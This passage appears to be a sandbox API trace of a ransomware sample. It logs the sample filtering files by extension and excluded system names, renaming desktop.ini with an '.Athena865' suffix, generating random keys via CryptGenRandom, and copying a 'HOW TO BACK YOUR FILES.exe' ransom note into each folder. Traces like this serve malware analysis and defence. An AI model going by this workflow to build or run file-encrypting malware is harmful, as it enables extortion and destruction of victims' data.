returned -1 [0050.908] lstrlenW (lpString="marshal") returned 7 [0050.908] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0050.908] lstrlenW (lpString="mas") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0050.908] lstrlenW (lpString="mav") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0050.908] lstrlenW (lpString="maw") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0050.908] lstrlenW (lpString="mdbhtml") returned 7 [0050.908] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0050.908] lstrlenW (lpString="mdn") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0050.908] lstrlenW (lpString="mdt") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0050.908] lstrlenW (lpString="mfd") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0050.908] lstrlenW (lpString="mpd") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0050.908] lstrlenW (lpString="mrg") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0050.908] lstrlenW (lpString="mud") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0050.908] lstrlenW (lpString="mwb") returned 3 [0050.908] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0050.909] lstrlenW (lpString="myd") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0050.909] lstrlenW (lpString="ndf") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0050.909] lstrlenW (lpString="nnt") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0050.909] lstrlenW (lpString="nrmlib") returned 6 [0050.909] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0050.909] lstrlenW (lpString="ns2") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0050.909] lstrlenW (lpString="ns3") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0050.909] lstrlenW (lpString="ns4") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0050.909] lstrlenW (lpString="nsf") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0050.909] lstrlenW (lpString="nv") returned 2 [0050.909] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0050.909] lstrlenW (lpString="nv2") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0050.909] lstrlenW (lpString="nwdb") returned 4 [0050.909] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0050.909] lstrlenW (lpString="nyf") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0050.909] lstrlenW (lpString="odb") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0050.909] lstrlenW (lpString="odb") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0050.909] lstrlenW (lpString="oqy") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0050.909] lstrlenW (lpString="ora") returned 3 [0050.909] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0050.909] lstrlenW (lpString="orx") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0050.910] lstrlenW (lpString="owc") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0050.910] lstrlenW (lpString="p96") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0050.910] lstrlenW (lpString="p97") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0050.910] lstrlenW (lpString="pan") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0050.910] lstrlenW (lpString="pdb") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0050.910] lstrlenW (lpString="pdm") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0050.910] lstrlenW (lpString="pnz") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0050.910] lstrlenW (lpString="qry") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0050.910] lstrlenW (lpString="qvd") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0050.910] lstrlenW (lpString="rbf") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0050.910] lstrlenW (lpString="rctd") returned 4 [0050.910] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0050.910] lstrlenW (lpString="rod") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0050.910] lstrlenW (lpString="rodx") returned 4 [0050.910] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0050.910] lstrlenW (lpString="rpd") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0050.910] lstrlenW (lpString="rsd") returned 3 [0050.910] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0050.910] lstrlenW (lpString="sas7bdat") returned 8 [0050.911] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0050.911] lstrlenW (lpString="sbf") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0050.911] lstrlenW (lpString="scx") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0050.911] lstrlenW (lpString="sdb") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0050.911] lstrlenW (lpString="sdc") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0050.911] lstrlenW (lpString="sdf") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0050.911] lstrlenW (lpString="sis") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0050.911] lstrlenW (lpString="spq") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0050.911] lstrlenW (lpString="te") returned 2 [0050.911] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0050.911] lstrlenW (lpString="teacher") returned 7 [0050.911] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0050.911] lstrlenW (lpString="tmd") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0050.911] lstrlenW (lpString="tps") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0050.911] lstrlenW (lpString="trc") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0050.911] lstrlenW (lpString="trc") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0050.911] lstrlenW (lpString="trm") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0050.911] lstrlenW (lpString="udb") returned 3 [0050.911] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0050.911] lstrlenW (lpString="udl") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0050.912] lstrlenW (lpString="usr") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0050.912] lstrlenW (lpString="v12") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0050.912] lstrlenW (lpString="vis") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0050.912] lstrlenW (lpString="vpd") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0050.912] lstrlenW (lpString="vvv") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0050.912] lstrlenW (lpString="wdb") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0050.912] lstrlenW (lpString="wmdb") returned 4 [0050.912] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0050.912] lstrlenW (lpString="wrk") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0050.912] lstrlenW (lpString="xdb") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0050.912] lstrlenW (lpString="xld") returned 3 [0050.912] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0050.912] lstrlenW (lpString="xmlff") returned 5 [0050.912] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0050.912] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.Athena865") returned 78 [0050.912] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0050.913] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.913] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=402) returned 1 [0050.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.913] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.914] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.914] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.914] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x154 [0050.915] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000 [0050.915] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.916] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.916] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.917] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.917] CloseHandle (hObject=0x154) returned 1 [0050.917] CloseHandle (hObject=0x17c) returned 1 [0050.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.918] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce37aa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0050.918] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0050.918] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.918] lstrcmpiW (lpString1="Links", lpString2=".") returned 1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="..") returned 1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1 [0050.918] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1 [0050.919] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1 [0050.919] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1 [0050.919] lstrlenW (lpString="Links") returned 5 [0050.919] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Links" | out: lpString1="Links") returned="Links" [0050.919] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", dwFileAttributes=0x10) returned 1 [0050.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4a0 [0050.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518920 [0050.919] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0050.919] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0050.919] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.925] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2=".") returned 1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="..") returned 1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="windows") returned -1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="bootmgr") returned 1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="temp") returned -1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="pagefile.sys") returned -1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="boot") returned 1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ids.txt") returned 1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ntuser.dat") returned -1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="perflogs") returned -1 [0050.925] lstrcmpiW (lpString1="Microsoft Websites", lpString2="MSBuild") returned -1 [0050.925] lstrlenW (lpString="Microsoft Websites") returned 18 [0050.925] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Microsoft Websites" | out: lpString1="Microsoft Websites") returned="Microsoft Websites" [0050.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c488 [0050.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x50dd88 [0050.925] lstrcatW (in: lpString1="Microsoft Websites", lpString2="\\" | out: lpString1="Microsoft Websites\\") returned="Microsoft Websites\\" [0050.925] lstrcatW (in: lpString1="Microsoft Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Websites\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Websites\\HOW TO BACK YOUR FILES.exe" [0050.925] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.937] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0050.937] lstrcmpiW (lpString1="MSN Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.937] lstrcmpiW (lpString1="MSN Websites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.937] lstrcmpiW (lpString1="MSN Websites", lpString2=".") returned 1 [0050.937] lstrcmpiW (lpString1="MSN Websites", lpString2="..") returned 1 [0050.937] lstrcmpiW (lpString1="MSN Websites", lpString2="windows") returned -1 [0050.937] lstrcmpiW (lpString1="MSN Websites", lpString2="bootmgr") returned 1 [0050.938] lstrcmpiW (lpString1="MSN Websites", lpString2="temp") returned -1 [0050.938] lstrcmpiW (lpString1="MSN Websites", lpString2="pagefile.sys") returned -1 [0050.938] lstrcmpiW (lpString1="MSN Websites", lpString2="boot") returned 1 [0050.938] lstrcmpiW (lpString1="MSN Websites", lpString2="ids.txt") returned 1 [0050.938] lstrcmpiW (lpString1="MSN Websites", lpString2="ntuser.dat") returned -1 [0050.938] lstrcmpiW (lpString1="MSN Websites", lpString2="perflogs") returned -1 [0050.938] lstrcmpiW (lpString1="MSN Websites", lpString2="MSBuild") returned 1 [0050.938] lstrlenW (lpString="MSN Websites") returned 12 [0050.938] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSN Websites" | out: lpString1="MSN Websites") returned="MSN Websites" [0050.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b6f0 [0050.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x50de28 [0050.938] lstrcatW (in: lpString1="MSN Websites", lpString2="\\" | out: lpString1="MSN Websites\\") returned="MSN Websites\\" [0050.938] lstrcatW (in: lpString1="MSN Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSN Websites\\HOW TO BACK YOUR FILES.exe") returned="MSN Websites\\HOW TO BACK YOUR FILES.exe" [0050.938] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.942] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2=".") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="..") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="windows") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="bootmgr") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="temp") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="pagefile.sys") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="boot") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="ids.txt") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="ntuser.dat") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="perflogs") returned 1 [0050.942] lstrcmpiW (lpString1="Windows Live", lpString2="MSBuild") returned 1 [0050.943] lstrlenW (lpString="Windows Live") returned 12 [0050.943] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Windows Live" | out: lpString1="Windows Live") returned="Windows Live" [0050.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b708 [0050.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x50b7a8 [0050.943] lstrcatW (in: lpString1="Windows Live", lpString2="\\" | out: lpString1="Windows Live\\") returned="Windows Live\\" [0050.943] lstrcatW (in: lpString1="Windows Live\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Live\\HOW TO BACK YOUR FILES.exe") returned="Windows Live\\HOW TO BACK YOUR FILES.exe" [0050.943] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0050.946] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0050.946] ReleaseMutex (hMutex=0xec) returned 1 [0050.946] CloseHandle (hObject=0xec) returned 1 [0050.946] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links" [0050.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528028 | out: hHeap=0x4f0000) returned 1 [0050.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c4b8 | out: hHeap=0x4f0000) returned 1 [0050.946] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links") returned 52 [0050.946] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D775FFEA84A976AAF31F2D12CB9D7D2F") returned 0xec [0050.947] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0050.947] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links" [0050.947] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0050.947] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.947] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0050.947] GetLastError () returned 0x0 [0050.947] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0050.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0050.947] ReadFile (in: hFile=0xf4, 